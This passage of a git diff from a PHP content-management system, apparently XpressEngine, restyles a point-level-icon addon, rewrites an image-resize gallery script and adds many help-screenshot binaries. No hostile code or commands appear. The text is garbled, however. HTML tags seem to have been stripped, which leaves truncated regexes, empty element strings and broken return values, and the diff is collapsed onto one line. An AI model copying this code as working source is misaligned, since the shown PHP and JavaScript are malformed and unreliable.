포인트시스템에서 선택 가능합니다. 使用积分系统时,可以在用户名前显示级别图标。 diff --git a/addons/point_level_icon/point_level_icon.addon.php b/addons/point_level_icon/point_level_icon.addon.php index 483e15331..be46a3eb8 100644 --- a/addons/point_level_icon/point_level_icon.addon.php +++ b/addons/point_level_icon/point_level_icon.addon.php @@ -1,5 +1,7 @@ ]*)member_([0-9\-]+)([^\>]*)>(.*?)\<\/(div|span|a)\>!is', 'pointLevelIconTrans', $output); -if($temp_output) $output = $temp_output; +if($temp_output) +{ + $output = $temp_output; +} unset($temp_output); -?> + +/* End of file point_level_icon.addon.php */ +/* Location: ./addons/point_level_icon/point_level_icon.addon.php */ diff --git a/addons/point_level_icon/point_level_icon.lib.php b/addons/point_level_icon/point_level_icon.lib.php index 23daedd7c..5caa1cd7c 100644 --- a/addons/point_level_icon/point_level_icon.lib.php +++ b/addons/point_level_icon/point_level_icon.lib.php @@ -1,52 +1,78 @@ $/', '', $matches[0]); + $orig_text = preg_replace('/' . preg_quote($matches[5], '/') . '<\/' . $matches[6] . '>$/', '', $matches[0]); // Check Group Image Mark - $oMemberModel = &getModel('member'); - if($oMemberModel->getGroupImageMark($member_srl)) return $orig_text.$matches[5].''; + $oMemberModel = getModel('member'); + if($oMemberModel->getGroupImageMark($member_srl)) + { + return $orig_text . $matches[5] . ''; + } - if(!isset($GLOBALS['_pointLevelIcon'][$member_srl])) { + if(!isset($GLOBALS['_pointLevelIcon'][$member_srl])) + { // Get point configuration - if(!$GLOBALS['_pointConfig']) { - $oModuleModel = &getModel('module'); + if(!$GLOBALS['_pointConfig']) + { + $oModuleModel = getModel('module'); $GLOBALS['_pointConfig'] = $oModuleModel->getModuleConfig('point'); } $config = $GLOBALS['_pointConfig']; + // Get point model - if(!$GLOBALS['_pointModel']) $GLOBALS['_pointModel'] = getModel('point'); + if(!$GLOBALS['_pointModel']) + { + $GLOBALS['_pointModel'] = getModel('point'); + } $oPointModel = &$GLOBALS['_pointModel']; + // Get points - if(!$oPointModel->isExistsPoint($member_srl)) return $matches[0]; + if(!$oPointModel->isExistsPoint($member_srl)) + { + return $matches[0]; + } + $point = $oPointModel->getPoint($member_srl); + // Get level $level = $oPointModel->getLevel($point, $config->level_step); $text = $matches[5]; + // Get a path where level icon is $level_icon = sprintf('%smodules/point/icons/%s/%d.gif', Context::getRequestUri(), $config->level_icon, $level); + // Get per to go to the next level if not a top level - if($level < $config->max_level) { - $next_point = $config->level_step[$level+1]; + if($level < $config->max_level) + { + $next_point = $config->level_step[$level + 1]; $present_point = $config->level_step[$level]; - if($next_point > 0) { - $per = (int)(($point - $present_point) / ($next_point - $present_point)*100); - $per = $per.'%'; + if($next_point > 0) + { + $per = (int) (($point - $present_point) / ($next_point - $present_point) * 100); + $per = $per . '%'; } } - $title = sprintf('%s:%s%s%s, %s:%s/%s', Context::getLang('point'), $point, $config->point_name, $per?' ('.$per.')':'', Context::getLang('level'), $level, $config->max_level); + $title = sprintf('%s:%s%s%s, %s:%s/%s', Context::getLang('point'), $point, $config->point_name, $per ? ' (' . $per . ')' : '', Context::getLang('level'), $level, $config->max_level); $alt = sprintf('[%s:%s]', Context::getLang('level'), $level); $GLOBALS['_pointLevelIcon'][$member_srl] = sprintf('%s', $level_icon, $alt, $title); } $text = $GLOBALS['_pointLevelIcon'][$member_srl]; - return $orig_text.$text.$matches[5].''; + return $orig_text . $text . $matches[5] . ''; } -?> + +/* End of file point_level_icon.lib.php */ +/* Location: ./addons/point_level_icon/point_level_icon.lib.php */ diff --git a/addons/resize_image/btn.png b/addons/resize_image/btn.png new file mode 100644 index 000000000..2f48acd99 Binary files /dev/null and b/addons/resize_image/btn.png differ diff --git a/addons/resize_image/css/resize_image.mobile.css b/addons/resize_image/css/resize_image.mobile.css index 53d753413..e137c3fa3 100644 --- a/addons/resize_image/css/resize_image.mobile.css +++ b/addons/resize_image/css/resize_image.mobile.css @@ -1 +1 @@ -.xe_content img{max-width:100%;height:auto !important} +.xe_content img{max-width:100%;height:auto} diff --git a/addons/resize_image/iconClose.png b/addons/resize_image/iconClose.png deleted file mode 100755 index 856217713..000000000 Binary files a/addons/resize_image/iconClose.png and /dev/null differ diff --git a/addons/resize_image/iconLeft.png b/addons/resize_image/iconLeft.png deleted file mode 100755 index 8709013bf..000000000 Binary files a/addons/resize_image/iconLeft.png and /dev/null differ diff --git a/addons/resize_image/iconRight.png b/addons/resize_image/iconRight.png deleted file mode 100755 index 62807eb95..000000000 Binary files a/addons/resize_image/iconRight.png and /dev/null differ diff --git a/addons/resize_image/js/resize_image.js b/addons/resize_image/js/resize_image.js index c1de9b2ae..77dc3f8d6 100644 --- a/addons/resize_image/js/resize_image.js +++ b/addons/resize_image/js/resize_image.js @@ -9,76 +9,104 @@ var xScreen = null; function getScreen() { var body = $(document.body); var controls, imgframe, closebtn, prevbtn, nextbtn; - // 스크린이 없으면 스크린을 만든다. if (!xScreen) { // 검은 스크린 xScreen = $("
    ") .attr("id","xe_gallery_screen") .css({ - position:"absolute", + position:"fixed", display:"none", backgroundColor:"black", zIndex:500, - opacity:0.5 + opacity:0.7 }); // 이미지를 보여주고 컨트롤 버튼을 다룰 레이어 controls = $("
    ") .attr("id","xe_gallery_controls") .css({ - position:"absolute", + position:"fixed", display:"none", overflow:"hidden", zIndex:510 }); - // 닫기 버튼 - closebtn = $("") - .attr("id", "xe_gallery_closebtn") - .attr("src", request_uri+"addons/resize_image/iconClose.png") + // 이전 버튼 + prevbtn = $('
    '); + var dummy = $('
    '); /** * 리사이즈 실행 함수 @@ -208,7 +227,7 @@ $(function() { }); } - $('div.xe_content').each(function() { + $('.xe_content').each(function() { var contentWidth = dummy.appendTo(this).width(); dummy.remove(); if(!contentWidth) return; @@ -217,9 +236,7 @@ $(function() { var $img = $(this); var imgSrc = $img.attr('src'); if(regx_skip.test(imgSrc) && !regx_allow_i6pngfix.test(imgSrc)) return; - $img.attr('rel', 'xe_gallery'); - doResize.call($img, contentWidth); }); diff --git a/addons/resize_image/js/resize_image.min.js b/addons/resize_image/js/resize_image.min.js index fe8f24f84..9b4d993d5 100644 --- a/addons/resize_image/js/resize_image.min.js +++ b/addons/resize_image/js/resize_image.min.js @@ -1,7 +1 @@ -/** - * @brief 화면내에서 상위 영역보다 이미지가 크면 리사이즈를 하고 클릭시 원본을 보여줄수 있도록 변경 - **/ -(function($){var xScreen=null -function getScreen(){var body=$(document.body),controls,imgframe,closebtn,prevbtn,nextbtn;if(!xScreen){xScreen=$("
    ").attr("id","xe_gallery_screen").css({position:"absolute",display:"none",backgroundColor:"black",zIndex:500,opacity:0.5});controls=$("
    ").attr("id","xe_gallery_controls").css({position:"absolute",display:"none",overflow:"hidden",zIndex:510});closebtn=$("").attr("id","xe_gallery_closebtn").attr("src",request_uri+"addons/resize_image/iconClose.png").css({top:"10px"}).click(function(){xScreen.xeHide()}).appendTo(controls);prevbtn=$("").attr("id","xe_gallery_prevbtn").attr("src",request_uri+"addons/resize_image/iconLeft.png").css("left","10px").click(function(){xScreen.xePrev()}).appendTo(controls);nextbtn=$("").attr("id","xe_gallery_nextbtn").attr("src",request_uri+"addons/resize_image/iconRight.png").css("right","10px").click(function(){xScreen.xeNext()}).appendTo(controls);controls.find("img").attr({width:60,height:60,className:"iePngFix"}).css({position:"absolute",width:"60px",height:"60px",zIndex:530,cursor:"pointer"});imgframe=$("").attr("id","xe_gallery_holder").css("border","7px solid white").css("zIndex",520).appendTo(controls).draggable();body.append(xScreen).append(controls);xScreen.xeShow=function(){var clientWidth=$(window).width(),clientHeight=$(window).height();$("#xe_gallery_controls,#xe_gallery_screen").css({display:"block",width:$(document).width()+"px",height:$(document).height()+"px",left:0,top:0});closebtn.css("left",Math.round((clientWidth-60)/2)+"px");$("#xe_gallery_prevbtn,#xe_gallery_nextbtn").css("top",Math.round((clientHeight-60)/2)+"px");this.xeMove(0)};xScreen.xeHide=function(event){xScreen.css("display","none");controls.css("display","none")};xScreen.xePrev=function(){this.xeMove(-1)};xScreen.xeNext=function(){this.xeMove(1)};xScreen.xeMove=function(val){var clientWidth=$(window).width(),clientHeight=$(window).height();this.index+=val;prevbtn.css("visibility",(this.index>0)?"visible":"hidden");nextbtn.css("visibility",(this.index
    ') -function doResize(contentWidth,count){if(!count)count=0;if(count>=10)return;var $img=this,beforSize={width:$img.width(),height:$img.height()};if(!beforSize.width||!beforSize.height){setTimeout(function(){doResize.call($img,contentWidth,++count)},200);return};if(beforSize.width<=contentWidth)return;var resize_ratio=contentWidth/beforSize.width;$img.removeAttr('width').removeAttr('height').css({width:contentWidth,height:parseInt(beforSize.height*resize_ratio,10)})};$('div.xe_content').each(function(){var contentWidth=dummy.appendTo(this).width();dummy.remove();if(!contentWidth)return;$('img',this).each(function(){var $img=$(this),imgSrc=$img.attr('src');if(regx_skip.test(imgSrc)&&!regx_allow_i6pngfix.test(imgSrc))return;$img.attr('rel','xe_gallery');doResize.call($img,contentWidth)});$('img[rel=xe_gallery]',this).live('mouseover',function(){var $img=$(this);if(!$img.parent('a').length&&!$img.attr('onclick'))$img.css('cursor','pointer').click(slideshow)})})})})(jQuery) \ No newline at end of file +(function(c){var d=null;function a(){var g=c(document.body);var h,f,e,j,i;if(!d){d=c("
    ").attr("id","xe_gallery_screen").css({position:"fixed",display:"none",backgroundColor:"black",zIndex:500,opacity:0.7});h=c("
    ").attr("id","xe_gallery_controls").css({position:"fixed",display:"none",overflow:"hidden",zIndex:510});j=c('
    ');function e(k,m){if(!m){m=0}if(m>=10){return}var l=this;var j={width:l.width(),height:l.height()};if(!j.width||!j.height){setTimeout(function(){e.call(l,k,++m)},200);return}if(j.width<=k){return}var i=k/j.width;l.removeAttr("width").removeAttr("height").css({width:k,height:parseInt(j.height*i,10)})}c(".xe_content").each(function(){var i=h.appendTo(this).width();h.remove();if(!i){return}c("img",this).each(function(){var j=c(this);var k=j.attr("src");if(g.test(k)&&!f.test(k)){return}j.attr("rel","xe_gallery");e.call(j,i)});c("img[rel=xe_gallery]",this).live("mouseover",function(){var j=c(this);if(!j.parent("a").length&&!j.attr("onclick")){j.css("cursor","pointer").click(b)}})})})})(jQuery); \ No newline at end of file diff --git a/addons/resize_image/resize_image.addon.php b/addons/resize_image/resize_image.addon.php index 5b10d33ec..29ee1b319 100644 --- a/addons/resize_image/resize_image.addon.php +++ b/addons/resize_image/resize_image.addon.php @@ -1,18 +1,25 @@ + +/* End of file resize_image.addon.php */ +/* Location: ./addons/resize_image/resize_image.addon.php */ diff --git a/admin/help/img/admin/dashboard.PNG b/admin/help/img/admin/dashboard.PNG new file mode 100644 index 000000000..df44b1f54 Binary files /dev/null and b/admin/help/img/admin/dashboard.PNG differ diff --git a/admin/help/img/admin/easyinstall_for_textyle.PNG b/admin/help/img/admin/easyinstall_for_textyle.PNG new file mode 100644 index 000000000..b772f7639 Binary files /dev/null and b/admin/help/img/admin/easyinstall_for_textyle.PNG differ diff --git a/admin/help/img/admin/ftp_config.PNG b/admin/help/img/admin/ftp_config.PNG new file mode 100644 index 000000000..c179cf44d Binary files /dev/null and b/admin/help/img/admin/ftp_config.PNG differ diff --git a/admin/help/img/admin/installed_module.PNG b/admin/help/img/admin/installed_module.PNG new file mode 100644 index 000000000..a0a78c74e Binary files /dev/null and b/admin/help/img/admin/installed_module.PNG differ diff --git a/admin/help/img/faq/add_multilingual.PNG b/admin/help/img/faq/add_multilingual.PNG new file mode 100644 index 000000000..e07b70c66 Binary files /dev/null and b/admin/help/img/faq/add_multilingual.PNG differ diff --git a/admin/help/img/faq/admin_ip_band.PNG b/admin/help/img/faq/admin_ip_band.PNG new file mode 100644 index 000000000..6d7895c72 Binary files /dev/null and b/admin/help/img/faq/admin_ip_band.PNG differ diff --git a/admin/help/img/faq/apply_multilingual.PNG b/admin/help/img/faq/apply_multilingual.PNG new file mode 100644 index 000000000..9d397d1b1 Binary files /dev/null and b/admin/help/img/faq/apply_multilingual.PNG differ diff --git a/admin/help/img/faq/board_basic_setup.PNG b/admin/help/img/faq/board_basic_setup.PNG new file mode 100644 index 000000000..cfe7918e5 Binary files /dev/null and b/admin/help/img/faq/board_basic_setup.PNG differ diff --git a/admin/help/img/faq/comment_publish.PNG b/admin/help/img/faq/comment_publish.PNG new file mode 100644 index 000000000..9a49136f1 Binary files /dev/null and b/admin/help/img/faq/comment_publish.PNG differ diff --git a/admin/help/img/faq/defence_login_limit.PNG b/admin/help/img/faq/defence_login_limit.PNG new file mode 100644 index 000000000..44550138d Binary files /dev/null and b/admin/help/img/faq/defence_login_limit.PNG differ diff --git a/admin/help/img/faq/deny_admin_by_ip.PNG b/admin/help/img/faq/deny_admin_by_ip.PNG new file mode 100644 index 000000000..e890693b8 Binary files /dev/null and b/admin/help/img/faq/deny_admin_by_ip.PNG differ diff --git a/admin/help/img/faq/export1.PNG b/admin/help/img/faq/export1.PNG new file mode 100644 index 000000000..5e91a387a Binary files /dev/null and b/admin/help/img/faq/export1.PNG differ diff --git a/admin/help/img/faq/export2.PNG b/admin/help/img/faq/export2.PNG new file mode 100644 index 000000000..1a2bb94e2 Binary files /dev/null and b/admin/help/img/faq/export2.PNG differ diff --git a/admin/help/img/faq/export3.PNG b/admin/help/img/faq/export3.PNG new file mode 100644 index 000000000..1a078226a Binary files /dev/null and b/admin/help/img/faq/export3.PNG differ diff --git a/admin/help/img/faq/exposure_target.PNG b/admin/help/img/faq/exposure_target.PNG new file mode 100644 index 000000000..887fec8aa Binary files /dev/null and b/admin/help/img/faq/exposure_target.PNG differ diff --git a/admin/help/img/faq/file_status.PNG b/admin/help/img/faq/file_status.PNG new file mode 100644 index 000000000..314b53729 Binary files /dev/null and b/admin/help/img/faq/file_status.PNG differ diff --git a/admin/help/img/faq/import1.PNG b/admin/help/img/faq/import1.PNG new file mode 100644 index 000000000..d14319f31 Binary files /dev/null and b/admin/help/img/faq/import1.PNG differ diff --git a/admin/help/img/faq/import2.PNG b/admin/help/img/faq/import2.PNG new file mode 100644 index 000000000..18ae9e9bd Binary files /dev/null and b/admin/help/img/faq/import2.PNG differ diff --git a/admin/help/img/faq/import_complete.PNG b/admin/help/img/faq/import_complete.PNG new file mode 100644 index 000000000..bf7a5ca55 Binary files /dev/null and b/admin/help/img/faq/import_complete.PNG differ diff --git a/admin/help/img/faq/joinform_manage.PNG b/admin/help/img/faq/joinform_manage.PNG new file mode 100644 index 000000000..1ea39ea8e Binary files /dev/null and b/admin/help/img/faq/joinform_manage.PNG differ diff --git a/admin/help/img/faq/joinform_type.PNG b/admin/help/img/faq/joinform_type.PNG new file mode 100644 index 000000000..5b850f0eb Binary files /dev/null and b/admin/help/img/faq/joinform_type.PNG differ diff --git a/admin/help/img/faq/login_config.PNG b/admin/help/img/faq/login_config.PNG new file mode 100644 index 000000000..db65417fa Binary files /dev/null and b/admin/help/img/faq/login_config.PNG differ diff --git a/admin/help/img/faq/menu_name_modify.PNG b/admin/help/img/faq/menu_name_modify.PNG new file mode 100644 index 000000000..8a6b340a8 Binary files /dev/null and b/admin/help/img/faq/menu_name_modify.PNG differ diff --git a/admin/help/img/faq/search_multilingual.PNG b/admin/help/img/faq/search_multilingual.PNG new file mode 100644 index 000000000..36e478ab6 Binary files /dev/null and b/admin/help/img/faq/search_multilingual.PNG differ diff --git a/admin/help/img/faq/use_multilingual.PNG b/admin/help/img/faq/use_multilingual.PNG new file mode 100644 index 000000000..5b5422318 Binary files /dev/null and b/admin/help/img/faq/use_multilingual.PNG differ diff --git a/admin/help/img/faq/user_defined_joinform.PNG b/admin/help/img/faq/user_defined_joinform.PNG new file mode 100644 index 000000000..b670b91da Binary files /dev/null and b/admin/help/img/faq/user_defined_joinform.PNG differ diff --git a/admin/help/img/image001.png b/admin/help/img/image001.png new file mode 100644 index 000000000..733a0ded1 Binary files /dev/null and b/admin/help/img/image001.png differ diff --git a/admin/help/img/image002.jpg b/admin/help/img/image002.jpg new file mode 100644 index 000000000..c0ac026ab Binary files /dev/null and b/admin/help/img/image002.jpg differ diff --git a/admin/help/img/image003.jpg b/admin/help/img/image003.jpg new file mode 100644 index 000000000..9c4c659a9 Binary files /dev/null and b/admin/help/img/image003.jpg differ diff --git a/admin/help/img/image004.jpg b/admin/help/img/image004.jpg new file mode 100644 index 000000000..16c08f779 Binary files /dev/null and b/admin/help/img/image004.jpg differ diff --git a/admin/help/img/image005.jpg b/admin/help/img/image005.jpg new file mode 100644 index 000000000..32208e059 Binary files /dev/null and b/admin/help/img/image005.jpg differ diff --git a/admin/help/img/image006.jpg b/admin/help/img/image006.jpg new file mode 100644 index 000000000..323308b53 Binary files /dev/null and b/admin/help/img/image006.jpg differ diff --git a/admin/help/img/image007.jpg b/admin/help/img/image007.jpg new file mode 100644 index 000000000..29be2bd5c Binary files /dev/null and b/admin/help/img/image007.jpg differ diff --git a/admin/help/img/image008.jpg b/admin/help/img/image008.jpg new file mode 100644 index 000000000..298315ed4 Binary files /dev/null and b/admin/help/img/image008.jpg differ diff --git a/admin/help/img/image009.jpg b/admin/help/img/image009.jpg new file mode 100644 index 000000000..1e74d8cc4 Binary files /dev/null and b/admin/help/img/image009.jpg differ diff --git a/admin/help/img/image010.jpg b/admin/help/img/image010.jpg new file mode 100644 index 000000000..f4f283915 Binary files /dev/null and b/admin/help/img/image010.jpg differ diff --git a/admin/help/img/image011.jpg b/admin/help/img/image011.jpg new file mode 100644 index 000000000..3d8591315 Binary files /dev/null and b/admin/help/img/image011.jpg differ diff --git a/admin/help/img/image012.jpg b/admin/help/img/image012.jpg new file mode 100644 index 000000000..36e54830d Binary files /dev/null and b/admin/help/img/image012.jpg differ diff --git a/admin/help/img/image013.jpg b/admin/help/img/image013.jpg new file mode 100644 index 000000000..a2b37c4b7 Binary files /dev/null and b/admin/help/img/image013.jpg differ diff --git a/admin/help/img/image014.jpg b/admin/help/img/image014.jpg new file mode 100644 index 000000000..e4228f11b Binary files /dev/null and b/admin/help/img/image014.jpg differ diff --git a/admin/help/img/image015.jpg b/admin/help/img/image015.jpg new file mode 100644 index 000000000..df5228cb4 Binary files /dev/null and b/admin/help/img/image015.jpg differ diff --git a/admin/help/img/image016.jpg b/admin/help/img/image016.jpg new file mode 100644 index 000000000..d07482c9a Binary files /dev/null and b/admin/help/img/image016.jpg differ diff --git a/admin/help/img/image017.jpg b/admin/help/img/image017.jpg new file mode 100644 index 000000000..f360d8b3d Binary files /dev/null and b/admin/help/img/image017.jpg differ diff --git a/admin/help/img/image018.jpg b/admin/help/img/image018.jpg new file mode 100644 index 000000000..0035cd1f4 Binary files /dev/null and b/admin/help/img/image018.jpg differ diff --git a/admin/help/img/image019.jpg b/admin/help/img/image019.jpg new file mode 100644 index 000000000..a02c79512 Binary files /dev/null and b/admin/help/img/image019.jpg differ diff --git a/admin/help/img/image020.jpg b/admin/help/img/image020.jpg new file mode 100644 index 000000000..9040a641d Binary files /dev/null and b/admin/help/img/image020.jpg differ diff --git a/admin/help/img/image021.jpg b/admin/help/img/image021.jpg new file mode 100644 index 000000000..1692b5691 Binary files /dev/null and b/admin/help/img/image021.jpg differ diff --git a/admin/help/img/image022.jpg b/admin/help/img/image022.jpg new file mode 100644 index 000000000..4e7dc1144 Binary files /dev/null and b/admin/help/img/image022.jpg differ diff --git a/admin/help/img/image023.png b/admin/help/img/image023.png new file mode 100644 index 000000000..5c5276450 Binary files /dev/null and b/admin/help/img/image023.png differ diff --git a/admin/help/img/image024.jpg b/admin/help/img/image024.jpg new file mode 100644 index 000000000..674000805 Binary files /dev/null and b/admin/help/img/image024.jpg differ diff --git a/admin/help/img/image025.jpg b/admin/help/img/image025.jpg new file mode 100644 index 000000000..ecd54d993 Binary files /dev/null and b/admin/help/img/image025.jpg differ diff --git a/admin/help/img/image026.png b/admin/help/img/image026.png new file mode 100644 index 000000000..54b0f2635 Binary files /dev/null and b/admin/help/img/image026.png differ diff --git a/admin/help/img/image027.jpg b/admin/help/img/image027.jpg new file mode 100644 index 000000000..3207a8aa1 Binary files /dev/null and b/admin/help/img/image027.jpg differ diff --git a/admin/help/img/image028.png b/admin/help/img/image028.png new file mode 100644 index 000000000..6c9d65aec Binary files /dev/null and b/admin/help/img/image028.png differ diff --git a/admin/help/img/image029.jpg b/admin/help/img/image029.jpg new file mode 100644 index 000000000..b407b9677 Binary files /dev/null and b/admin/help/img/image029.jpg differ diff --git a/admin/help/img/image030.png b/admin/help/img/image030.png new file mode 100644 index 000000000..32b14e1cd Binary files /dev/null and b/admin/help/img/image030.png differ diff --git a/admin/help/img/image031.jpg b/admin/help/img/image031.jpg new file mode 100644 index 000000000..5954df1f1 Binary files /dev/null and b/admin/help/img/image031.jpg differ diff --git a/admin/help/img/image032.jpg b/admin/help/img/image032.jpg new file mode 100644 index 000000000..a217d94da Binary files /dev/null and b/admin/help/img/image032.jpg differ diff --git a/admin/help/img/image033.jpg b/admin/help/img/image033.jpg new file mode 100644 index 000000000..064e3bcf1 Binary files /dev/null and b/admin/help/img/image033.jpg differ diff --git a/admin/help/img/image034.jpg b/admin/help/img/image034.jpg new file mode 100644 index 000000000..98ab1cbfc Binary files /dev/null and b/admin/help/img/image034.jpg differ diff --git a/admin/help/img/image035.jpg b/admin/help/img/image035.jpg new file mode 100644 index 000000000..b3b8f54a5 Binary files /dev/null and b/admin/help/img/image035.jpg differ diff --git a/admin/help/img/image036.jpg b/admin/help/img/image036.jpg new file mode 100644 index 000000000..c62db0266 Binary files /dev/null and b/admin/help/img/image036.jpg differ diff --git a/admin/help/img/image037.jpg b/admin/help/img/image037.jpg new file mode 100644 index 000000000..58699beec Binary files /dev/null and b/admin/help/img/image037.jpg differ diff --git a/admin/help/img/image038.jpg b/admin/help/img/image038.jpg new file mode 100644 index 000000000..060948d5a Binary files /dev/null and b/admin/help/img/image038.jpg differ diff --git a/admin/help/img/image039.jpg b/admin/help/img/image039.jpg new file mode 100644 index 000000000..0a3f38f4a Binary files /dev/null and b/admin/help/img/image039.jpg differ diff --git a/admin/help/img/image040.jpg b/admin/help/img/image040.jpg new file mode 100644 index 000000000..d9080512d Binary files /dev/null and b/admin/help/img/image040.jpg differ diff --git a/admin/help/img/image041.jpg b/admin/help/img/image041.jpg new file mode 100644 index 000000000..192723992 Binary files /dev/null and b/admin/help/img/image041.jpg differ diff --git a/admin/help/img/image042.jpg b/admin/help/img/image042.jpg new file mode 100644 index 000000000..25ade7342 Binary files /dev/null and b/admin/help/img/image042.jpg differ diff --git a/admin/help/img/image043.jpg b/admin/help/img/image043.jpg new file mode 100644 index 000000000..38afb6ed1 Binary files /dev/null and b/admin/help/img/image043.jpg differ diff --git a/admin/help/img/image044.jpg b/admin/help/img/image044.jpg new file mode 100644 index 000000000..bc227a2cc Binary files /dev/null and b/admin/help/img/image044.jpg differ diff --git a/admin/help/img/image045.jpg b/admin/help/img/image045.jpg new file mode 100644 index 000000000..4ba225526 Binary files /dev/null and b/admin/help/img/image045.jpg differ diff --git a/admin/help/img/image046.png b/admin/help/img/image046.png new file mode 100644 index 000000000..d946ef165 Binary files /dev/null and b/admin/help/img/image046.png differ diff --git a/admin/help/img/image047.png b/admin/help/img/image047.png new file mode 100644 index 000000000..bb3333996 Binary files /dev/null and b/admin/help/img/image047.png differ diff --git a/admin/help/img/image048.jpg b/admin/help/img/image048.jpg new file mode 100644 index 000000000..1a1046109 Binary files /dev/null and b/admin/help/img/image048.jpg differ diff --git a/admin/help/img/image049.jpg b/admin/help/img/image049.jpg new file mode 100644 index 000000000..ad806987b Binary files /dev/null and b/admin/help/img/image049.jpg differ diff --git a/admin/help/img/image050.jpg b/admin/help/img/image050.jpg new file mode 100644 index 000000000..ca35259b6 Binary files /dev/null and b/admin/help/img/image050.jpg differ diff --git a/admin/help/img/image051.jpg b/admin/help/img/image051.jpg new file mode 100644 index 000000000..38158751c Binary files /dev/null and b/admin/help/img/image051.jpg differ diff --git a/admin/help/img/image052.png b/admin/help/img/image052.png new file mode 100644 index 000000000..9b8cd8cc1 Binary files /dev/null and b/admin/help/img/image052.png differ diff --git a/admin/help/img/image053.jpg b/admin/help/img/image053.jpg new file mode 100644 index 000000000..0feae788a Binary files /dev/null and b/admin/help/img/image053.jpg differ diff --git a/admin/help/img/image054.jpg b/admin/help/img/image054.jpg new file mode 100644 index 000000000..75194c5eb Binary files /dev/null and b/admin/help/img/image054.jpg differ diff --git a/admin/help/img/image055.jpg b/admin/help/img/image055.jpg new file mode 100644 index 000000000..cdbe6664e Binary files /dev/null and b/admin/help/img/image055.jpg differ diff --git a/admin/help/img/image056.jpg b/admin/help/img/image056.jpg new file mode 100644 index 000000000..cd34df9c0 Binary files /dev/null and b/admin/help/img/image056.jpg differ diff --git a/admin/help/img/image057.jpg b/admin/help/img/image057.jpg new file mode 100644 index 000000000..b22a38ef9 Binary files /dev/null and b/admin/help/img/image057.jpg differ diff --git a/admin/help/img/image058.jpg b/admin/help/img/image058.jpg new file mode 100644 index 000000000..89e4f39c8 Binary files /dev/null and b/admin/help/img/image058.jpg differ diff --git a/admin/help/img/image059.jpg b/admin/help/img/image059.jpg new file mode 100644 index 000000000..13db6a447 Binary files /dev/null and b/admin/help/img/image059.jpg differ diff --git a/admin/help/img/image060.jpg b/admin/help/img/image060.jpg new file mode 100644 index 000000000..a2bf14aa2 Binary files /dev/null and b/admin/help/img/image060.jpg differ diff --git a/admin/help/img/image061.png b/admin/help/img/image061.png new file mode 100644 index 000000000..79e2bb660 Binary files /dev/null and b/admin/help/img/image061.png differ diff --git a/admin/help/img/image062.png b/admin/help/img/image062.png new file mode 100644 index 000000000..f9bc24810 Binary files /dev/null and b/admin/help/img/image062.png differ diff --git a/admin/help/img/image063.png b/admin/help/img/image063.png new file mode 100644 index 000000000..ec384ab60 Binary files /dev/null and b/admin/help/img/image063.png differ diff --git a/admin/help/img/install/complete_install.PNG b/admin/help/img/install/complete_install.PNG new file mode 100644 index 000000000..819e00859 Binary files /dev/null and b/admin/help/img/install/complete_install.PNG differ diff --git a/admin/help/img/install/db_select.PNG b/admin/help/img/install/db_select.PNG new file mode 100644 index 000000000..11bccdab4 Binary files /dev/null and b/admin/help/img/install/db_select.PNG differ diff --git a/admin/help/img/install/environment_setting.PNG b/admin/help/img/install/environment_setting.PNG new file mode 100644 index 000000000..305b00102 Binary files /dev/null and b/admin/help/img/install/environment_setting.PNG differ diff --git a/admin/help/img/install/insert_admin_info.PNG b/admin/help/img/install/insert_admin_info.PNG new file mode 100644 index 000000000..9d6b18473 Binary files /dev/null and b/admin/help/img/install/insert_admin_info.PNG differ diff --git a/admin/help/img/install/insert_db_info.PNG b/admin/help/img/install/insert_db_info.PNG new file mode 100644 index 000000000..41fa8cedb Binary files /dev/null and b/admin/help/img/install/insert_db_info.PNG differ diff --git a/admin/help/img/install/install_condition_check.PNG b/admin/help/img/install/install_condition_check.PNG new file mode 100644 index 000000000..bda900fb2 Binary files /dev/null and b/admin/help/img/install/install_condition_check.PNG differ diff --git a/admin/help/img/install/install_condition_check_error.PNG b/admin/help/img/install/install_condition_check_error.PNG new file mode 100644 index 000000000..cd655f81d Binary files /dev/null and b/admin/help/img/install/install_condition_check_error.PNG differ diff --git a/admin/help/img/install/language_select.PNG b/admin/help/img/install/language_select.PNG new file mode 100644 index 000000000..b4cf98052 Binary files /dev/null and b/admin/help/img/install/language_select.PNG differ diff --git a/admin/help/img/make_general_site/add_home.PNG b/admin/help/img/make_general_site/add_home.PNG new file mode 100644 index 000000000..1c714b02a Binary files /dev/null and b/admin/help/img/make_general_site/add_home.PNG differ diff --git a/admin/help/img/make_general_site/board_install.PNG b/admin/help/img/make_general_site/board_install.PNG new file mode 100644 index 000000000..c1ac923e6 Binary files /dev/null and b/admin/help/img/make_general_site/board_install.PNG differ diff --git a/admin/help/img/make_general_site/change_start_page.PNG b/admin/help/img/make_general_site/change_start_page.PNG new file mode 100644 index 000000000..bd5483ec3 Binary files /dev/null and b/admin/help/img/make_general_site/change_start_page.PNG differ diff --git a/admin/help/img/make_general_site/default_layout_setting.PNG b/admin/help/img/make_general_site/default_layout_setting.PNG new file mode 100644 index 000000000..ab29f630d Binary files /dev/null and b/admin/help/img/make_general_site/default_layout_setting.PNG differ diff --git a/admin/help/img/make_general_site/delete_menu1.PNG b/admin/help/img/make_general_site/delete_menu1.PNG new file mode 100644 index 000000000..e39f9c1f4 Binary files /dev/null and b/admin/help/img/make_general_site/delete_menu1.PNG differ diff --git a/admin/help/img/make_general_site/ftp_password_confirm.PNG b/admin/help/img/make_general_site/ftp_password_confirm.PNG new file mode 100644 index 000000000..146af09c3 Binary files /dev/null and b/admin/help/img/make_general_site/ftp_password_confirm.PNG differ diff --git a/admin/help/img/make_general_site/home_page1.PNG b/admin/help/img/make_general_site/home_page1.PNG new file mode 100644 index 000000000..dea7e9a36 Binary files /dev/null and b/admin/help/img/make_general_site/home_page1.PNG differ diff --git a/admin/help/img/make_general_site/home_page2.PNG b/admin/help/img/make_general_site/home_page2.PNG new file mode 100644 index 000000000..0f818f907 Binary files /dev/null and b/admin/help/img/make_general_site/home_page2.PNG differ diff --git a/admin/help/img/make_general_site/home_page3.PNG b/admin/help/img/make_general_site/home_page3.PNG new file mode 100644 index 000000000..e8e9cdabc Binary files /dev/null and b/admin/help/img/make_general_site/home_page3.PNG differ diff --git a/admin/help/img/make_general_site/home_page4.PNG b/admin/help/img/make_general_site/home_page4.PNG new file mode 100644 index 000000000..bcf1123b7 Binary files /dev/null and b/admin/help/img/make_general_site/home_page4.PNG differ diff --git a/admin/help/img/make_general_site/home_page5.PNG b/admin/help/img/make_general_site/home_page5.PNG new file mode 100644 index 000000000..6e104bca0 Binary files /dev/null and b/admin/help/img/make_general_site/home_page5.PNG differ diff --git a/admin/help/img/make_general_site/home_page6.PNG b/admin/help/img/make_general_site/home_page6.PNG new file 